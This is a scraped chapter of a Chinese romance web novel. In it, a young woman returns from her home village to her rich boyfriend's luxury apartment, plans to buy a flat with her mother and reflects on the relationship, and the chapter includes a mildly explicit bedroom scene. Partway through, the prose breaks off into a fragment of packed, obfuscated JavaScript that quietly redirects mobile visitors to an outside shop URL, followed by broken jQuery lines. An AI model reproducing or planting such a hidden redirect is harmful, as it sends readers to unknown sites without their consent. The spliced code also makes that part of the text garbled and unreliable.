文趣网 > 都市小说 > 趁情动 > 5. 第 5 章
    庾倩倩看向屋外。

    雨一直在下。

    淅淅沥沥,连绵不绝。

    村道上很安静,没有车,没有人。

    视野中只有远处空洞破损而脏污的墙面,下方堆满的碎砖小石,被雨打得乱颤的小花小草。

    庾倩倩无声地用鞋尖磨着地面,一下,两下。

    她能感觉到他就站在身后,撑着那把黑伞。

    她没有回头,但她知道他还在看她。

    她答非所问:“不用送,我回去了。”

    极快地转了下头,像是面对着他说话,可眼神没有落在他身上。

    完成了寒暄一般,庾倩倩撑开伞,走向那辆白色的特斯拉。

    雨点砸在伞面上,噼噼啪啪。

    她拉开车门,收伞,弯腰坐进去。

    发动引擎,车灯亮了,在雨幕中射出两道明亮的光柱,穿透密密麻麻的雨丝,照向远处灰蒙蒙的路。

    直到车子开动,庾倩倩才从后视镜里瞄了一眼。

    程嘉良还站在原地。

    撑着那把黑伞,身形笔直,久久朝向她的方向。

    雨幕太密了,他的面目已经模糊成了一团暗色的影子,只有那把伞的轮廓还清晰。

    黑T恤和目光融入了雨雾中。

    庾倩倩收回目光,踩下油门。

    后视镜里的那个人越来越小,越来越淡。

    就像以前一样,她将过去的村庄和他一块儿抛在身后。

    回到城区,庾倩倩找了家餐厅,意兴阑珊地吃晚饭。

    一碗牛肉面。面很劲道,汤也很浓,但她吃不出什么味道。

    筷子在碗里搅了两下,挑起几根面,又放下了。

    六十六元。

    以前六十六元,她能在学校花一个星期还有余。

    新鲜感过后,也跟普通的面没什么区别。

    但,也总要尝过一下。

    吃完后,她开车回到跟谢孟渊居住的公寓。

    公寓是城西最高的一栋住宅楼,通体玻璃幕墙,夜色中像一根发光的水晶柱。

    地下车库地面铺着环氧地坪,亮得能照出人影。

    车位上停着清一色的豪车,她的特斯拉在这排车阵里,只能算得体,远远算不上扎眼。

    从地下车库进入电梯,这一路都没碰见什么人。

    电梯轿厢内壁包着深灰色的皮质软包,角落里放着一小束当季的鲜花,每周换两次。

    墙上的屏幕可供跟物业视频通话,深夜有人值守,二十四小时。

    庾倩倩按下密码进门。

    门锁发出轻微的电子音,解锁的那一刻,玄关的感应灯亮了,暖黄色的光洒下来,刚好够她看清换鞋的位置。

    自动香薰机喷出浅淡的栀子花香,是她熟悉的味道,也是谢孟渊喜欢的。

    她伸手按下门口智能家居触控面板上的“开帘”键。

    客厅的电动窗帘整齐划一向两侧滑开,无声无息。

    窗帘后面是整面的落地玻璃,从地面延伸到天花板。

    窗外是城市的夜景——高楼林立,万家灯火,远处的地平线模糊在深蓝色的天幕里。

    雪白的高跟鞋脏了,鞋面上沾了不少泥水。

    庾倩倩蹲在玄关,从鞋柜里拿出专用的高跟鞋洗涤器,沾上湿巾,一点一点地擦。

    擦着擦着,她忽然忍不住地、突兀而轻声地笑了一下。

    以前在村里时,她就习惯这样蹲在门口,用塑料盆、肥皂和旧牙刷洗自己那几双运动鞋。

    谢孟渊的鞋子会有专人定时来取,清洗保养后再送回来。

    庾倩倩也能享受这个待遇,放着不管就行,可她下意识地自己擦了,还是蹲在门口。

    习惯真是改不了。

    庾倩倩擦干净鞋子,放进护鞋机里,按下启动键,机器发出轻微的嗡嗡声。

    她起身走向客厅沙发,一屁股坐下去,拢了拢头发,让它松软地披散在沙发靠背上。

    盯着天花板发呆。

    天花板很高,做了简洁的悬浮吊顶,四周嵌着灯带。

    来了电话。

    姓名显示:妈妈。

    背景音里隐约有麻将碰撞的声响。

    “听你张阿姨说,你今天回来了一趟?”

    “嗯。”庾倩倩靠在沙发上,仰头盯着天花板。

    “怎么不跟我说呢?”

    “你也不在。”庾倩倩直接略过了这个话题,“你明天有时间吗?咱们去看看房子。”

    “哦,买房啊?”

    庾倩倩明显听到刘芳的声音拔高了,身边隐约传来其他人的低声。

    “哎哟,刘姐,你女儿要买房啊?”

    “买什么房啊?”

    ……

    庾倩倩没管电话里传出的背景音:“我预约了中介。明天早上我去接你,先看三套。”

    “你一来一回多麻烦,来回都得三四个小时。”刘芳那边有人喊了一声“碰”,她应了,又转回来跟她说,“没关系,我明天打车过去找你,也方便,咱们哪儿见?”

    她时常跟小姐妹来市里面KTV聚餐,也是熟练运用打车软件。

    “去中介店里吧。”庾倩倩盯着雪白的天花板,声音没什么力气。

    她随手拿过抱枕,放在自己双腿上,每次见到程嘉良都让她很烦躁、很烦躁。

    她不会告诉刘芳谢孟渊的名字。

    按照刘芳的性格,要是知道女儿跟了一个富二代,肯定逢人便要炫耀,整个村会在一天之内知道。

    更不会让她知道这里的住址,怕万一她跑上门。

    再者,她跟谢孟渊也快要分手了,他要联姻的话总要先断干净婚前关系。

    她只是在等他什么时候提。

    并不是索要分手费,这些年谢孟渊给她的已经够了,而是——

    按照谢孟渊的自尊心,大概率他会更习惯他自己来控制这段关系。

    庾倩倩只能“被分手”,不能主动分手。

    “行,那我明天早点出发。”刘芳说。

    庾倩倩挂断电话,起身拿上换洗的衣物,去浴室洗澡。

    她把整个人沉进去,低头在那里玩着泡泡,就这么玩了一个多小时。

    吹干头发后,她开床头灯,躺在床上刷小红书,看买房的攻略帖子。

    村里人都搬走了,她本来也没打算留刘芳一个人住在村里。

    国外的时候就打算买,实在是刘芳不靠谱,她不敢让她去看房子,更不敢把钱给她。

    庾倩倩想买个三室一厅,一百三十五平左右,离市区近一点,这样以后找工作方便。

    外面传来开门声。

    玄关语音自动播报:“欢迎回家。”

    庾倩倩放下手机,掀开空调被,走到玄关,看见谢孟渊正在换鞋。

    他脸上带着一种平静的冷淡——是那种在人群里待了一整天之后,终于回到自己领地的松弛和倦怠。

    庾倩倩一眼就能辨别。

    “这么晚才回来?”庾倩倩走过去,接过他的公文包和西装外套,“我都快要睡着了。”

    西装外套上带着外面空气的凉意和一点点若有若无的烟味——谢孟渊不抽烟,大概是公司聚餐染上的。

    “帮我放热水。”谢孟渊扯扯领带,语气疲惫。

    “好。”

    庾倩倩从善如流地先帮他把领带解开——谢孟渊其实不喜欢打领带。

    再将他的公文包放进他的办公室里,衣服放进一旁的脏衣篓,进浴室给他放热水。

    她蹲在浴缸边,试了试水温,又调了按摩功能的第三档档位。

    心情不好的时候,他会需要重一些的按摩。

    谢孟渊跟着进来,解开衬衫长裤,赤身走进热水中,身体慢慢躺下去,长长舒了口气。

    庾倩倩没有立刻走,浴缸边缘有个靠座的地方,她半靠着,伸手帮他揉着太阳穴。

    “第一天上班怎么样?”她问得很轻。

    “很乱。”谢孟渊言简意赅。

    “乱?”庾倩倩意外。

    “派系严重、各立山头、任何一件事都有重重阻力、面和心不合。”

    “不是你爸的公司么?”庾倩倩还以为他一进去就是直接管的。

    “公司是三家合伙,一家管工厂,一家管技术和资金,另一家管市场和销售。管市场的是我妈那边的远房亲戚,按辈分算,我要喊声舅公。”

    “嗯。”庾倩倩认真听着。

    “公司起初的业务几乎都是舅公跑出来的。前几年他退了休,收了不少徒弟,又安排很多亲戚进公司。他的女婿是公司的副总经理。”

    “所以是他阻挠你吗?”

    “阻扰算不上。是意见不合。以前公司小的时候大家只想着公司大。现在公司大了,该往什么地方走就有分歧了。舅公倒是好说话,可他女婿‘志向’很大,见半导体和AI火,想花几十亿搞AI,而我跟我爸这边不同意,毕竟我们是制造业,大企业盲目扩张是大忌。”

    谢孟渊闭着眼,水汽氤氲在他眉骨和鼻梁之间。

    “前段时间,这个女婿把他妹妹介绍给了公司另一个老总的儿子。也就是负责管工厂的另一方。”

    即便庾倩倩不是很明白,也大概猜出来了——三方合伙。如果一方负责工厂建设,掌握工艺流程,另一方掌握了市场和销售,又有很多亲戚在公司,这两方结盟,剩下的那方肯定就有危机了吧。

    谢孟渊没有继续说下去:“简历写了吗?”

    “写了。不过有些不知道写什么,也不知道自己适合什么岗位。”

    “没关系先出一版。我给人事看看你适合什么?”谢孟渊拍拍她的手,“晚饭怎么解决的?”

    “随便在外面吃了。我去给你拿浴袍。”

    庾倩倩起身出去,去谢孟渊的衣帽间里面的浴衣柜取出一件浴袍,放在浴室门口的架子上。

    她往里看了一眼,见他始终闭目养神。

    平常都是淋浴,今天特地要泡澡,大概要想事情。

    她没出声打扰他,轻轻带上门出去。

    过了约莫半个小时,谢孟渊洗完澡出来,往办公室里走。

    他开了灯,环顾一圈,目光从书桌扫到书架,又落到窗帘上——位置都对,角度都对。

    今天去公司新办公室他自己调整了好一阵。

    还是庾倩倩了解他。

    庾倩倩跟过来:“这么晚还要工作吗?”

    “处理一些事。”

    “好吧。”庾倩倩递过来一杯温水,放在桌面上,“别太晚了。”

    “你先睡。”

    庾倩倩点点头,回到卧室,重新窝进被子里,继续刷买房攻略。

    又在搜索框里敲下了“杜尚新材料”五个字。

    页面弹出来的内容大多是股市讨论。

    借着AI的东风,内存和硬盘的价格一路飙升,连带稀有金属这些上游原材料也跟着水涨船高。

    “杜尚”的股价比去年翻了十倍,帖子里偶尔有几张CEO“谢守礼”的照片。

    面相极为冷硬,颧骨高耸,眼窝深陷,照片没有一张嘴角向上的。

    评论里有人说他作风强势、铁血手腕,可惜遭遇一场车祸后身体很不好,这几年已经不怎么公开露面了。

    关于公司内部情况的讨论很少。

    只能从评论里看到一些零零碎碎的小道消息:

    -听说明年可能要分家。

    -不是分家,是拆伙。

    -那家老板身体不行了,儿子刚从国外回来,还没站稳脚跟。

    -那这股票还能不能拿?万一拆伙,股价不得腰斩?

    -拆伙也可能是利好,把不良资产剥离出去,专注主业,说不定涨得更好。

    -听说管理层最近变动很大,明年一季度可能要发公告。

    似真似假,众说纷纭。

    客厅的灯光暗了,谢孟渊走进来。

    庾倩倩滑动关了小红书,视线从手机上往上抬,盯着他。

    谢孟渊这个人,面上一派正经,私底下生活也算干净,就是偶尔也有不太体面的一面。

    譬如他不喜欢穿睡衣。

    晚上睡觉只穿一条内裤。

    目前这栋房子专属于他的衣帽间,有个专门的浴袍柜,放了十几套供换洗的浴袍。

    身侧的被褥塌陷,他掀开被子躺下,带着沐浴露淡淡的木质调香气。

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17589444|205423||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >庾倩倩放下手机到床头柜,准备睡了,忽然腰被人搂住,被挪到谢孟渊怀里。

    “还有精力?”庾倩倩挑眉。

    “这点精力都没有,还管什么公司?”谢孟渊翻身上去,压在她身上。

    床垫微微陷了一下。

    庾倩倩笑了下,微微挪动,调整了一下位置。

    床头那盏灯还亮着,灯罩是深米色的亚麻布,光线被拢成一片柔和的暖黄,只照出他半个轮廓——肩膀的弧线,颈侧的阴影,还有那双眉眼。

    眉毛还是湿的,很浓,很黑。

    庾倩倩盯了许久,忍不住伸出手,指尖磨蹭他的眉毛。

    眉毛之下的那双眼睛,黑黢黢的,深得透亮。

    果然……跟程嘉良完全不一样。

    程嘉良那双眼睛是冰的话,谢孟渊这双眼睛是重彩的浓墨。

    谢孟渊眉目一动,眼眸微深,偏过头,吻了吻她的手背。

    他直起身,脱下浴袍,随手扔在地上,露出健壮白皙的身体。

    肩膀很宽,腰却窄,肌肉线条流畅而有力,不是健身房刻意训练出来的那种肌肉贲张,而是常年自律养出来的匀称。

    谢孟渊在国外并不像别的富二代那样花天酒地。

    他更多是在学习,去公司的海外分公司考察,还做过一段时间的银行实习生。

    每天行程都排得很满。

    而这事——除了她来例假,几乎每天晚上都有。

    庾倩倩的手指慢慢顺着他的胳膊滑下去。

    她想,这可能是他的一种解压方式。

    正因为他忙,不像别的男人有时间贪新鲜换女人,加之年轻、精力充沛,每天需要一个固定的女人来消解欲望,她才能在他身边待这么久。

    谢孟渊低头,手指插入她的发间,枕头的凹陷将她微微托起,他的唇落下来。

    他很喜欢接吻。

    无论什么姿势,他都喜欢接吻。

    有时候甚至会把她掰过来,只为了吻她。

    他的吻不是慢条斯理的,也不是事后的点缀,而是绝对的入侵式——唇齿交缠,“相濡以沫”。

    甚至吻着吻着,他就那样睡过去了。

    这大概也算是他的性癖?

    庾倩倩也没有过别的男人,不知道别人是怎样的。

    她也累了,一觉睡到第二天早上六点半。

    这是他们在伦敦就养成的作息习惯。

    她的课业也很忙,还要打理他的一些杂事,通常比他早半个小时起床。

    起床后,她先捡起谢孟渊扔在地上的浴袍,准备拿去清洗;再弯腰捡起地上的保险套,团在纸巾里扔进垃圾桶。

    这又是他的坏习惯。

    喜欢扔浴袍,保险套也喜欢直接扔地上。

    睡姿还是趴着睡,时不时一条胳膊横过来搭在她身上,以前还会把她压醒。

    庾倩倩不会做中餐,但会做一些普通的三明治、汉堡、烤吐司之类,通常用来解决早饭。

    至于午饭和晚饭,在伦敦时他们就出去吃,不出去就点外卖。

    今天的早餐时两份牛排汉堡,澳纽牛肉,生菜翠绿地铺在最底层,外加两份煎蛋,谢孟渊还另多了两份煎鸡胸肉。

    再给自己泡了一杯葡萄冰美式,给谢孟渊倒了一杯柠檬汁温水,放在右手边。

    谢孟渊洗漱完毕,从卧室里走出来。

    他已经换好了衬衫和西裤,头发也打理过,整个人又变回了那个一丝不苟的谢孟渊。

    庾倩倩站在厨房前,双手撑着台面,笑道:“早,今天有你的早餐了。”

    “你今天把简历发给我,”谢孟渊坐下来,拿起那杯温水喝了一口,“我转给人事看看怎么安排。”

    “这么快吗?”

    “没必要拖。”

    谢孟渊向来追求效率。庾倩倩点点头:“也行。”

    她低头削了一个苹果,切成块状码在瓷碟里,插上牙签,端到他面前。

    谢孟渊看了一眼:“让我消火气呢?”每次他一生气,庾倩倩就给他削苹果。

    庾倩倩忍不住笑出声:“是希望你平平安安。”

    谢孟渊莞尔,拿起汉堡:“今天有什么安排?”

    庾倩倩注意到他的问法——不是“你今天打算做什么”,而是“有什么安排”。

    谢孟渊说过,自小他父亲对他要求很严格。她揣测,以前在家里大概他爸爸谢守礼就是这么问他的,于是他也不知不觉学会了这种问法,像领导问下属,像上级布置任务。

    “陪我妈去看房子。”

    “买房?”他抬起头看了她一眼。

    庾倩倩点点头:“想有个自己的房子。”

    谢孟渊不置可否,也没有反对。

    很快,他用完早饭。

    “今晚我可能依然很晚回来。”

    庾倩倩点点头,她直到。

    谢孟渊进办公室拿公文包。

    出来的时候,庾倩倩已经把他办公室的门带上了——她知道他的习惯,整理好的办公室,以后除了基础清洁,他不需要任何人进去动他的东西。他有自己的条理。

    庾倩倩跟着他到了玄关,看着他换鞋。她靠在墙边,盯着他的动作看了一会儿。

    许久,问了一句:“上班不开心吗?”

    谢孟渊直起身,望着她。

    “很有挑战。”他回答。

    庾倩倩笑了下,脑袋轻轻靠在墙壁上,撒娇似的:“我昨天发现了一家很好吃的烤肉店,等你闲下来,我们一块儿去吃。”

    谢孟渊伸手捏了捏她的脸,力道很轻:“好。”

    门关上了。

    庾倩倩站在玄关,站了几秒钟,听着脚步声渐渐远去。

    她转身走回餐桌边,开始收拾碟盘和杯子。

    水流冲过瓷器表面,她一个一个地洗。

    食得咸鱼抵得渴。

    她跟那天在酒吧里碰见的那两个女生,本质上没什么不同。

    既然拿对方的钱,就要提供相应的情绪价值。

    她知道谢孟渊喜欢什么。

    除了美貌和清纯,他还喜欢温柔、体贴、那种“我只在意你”的关注,以及偶尔的、恰到好处的撒娇。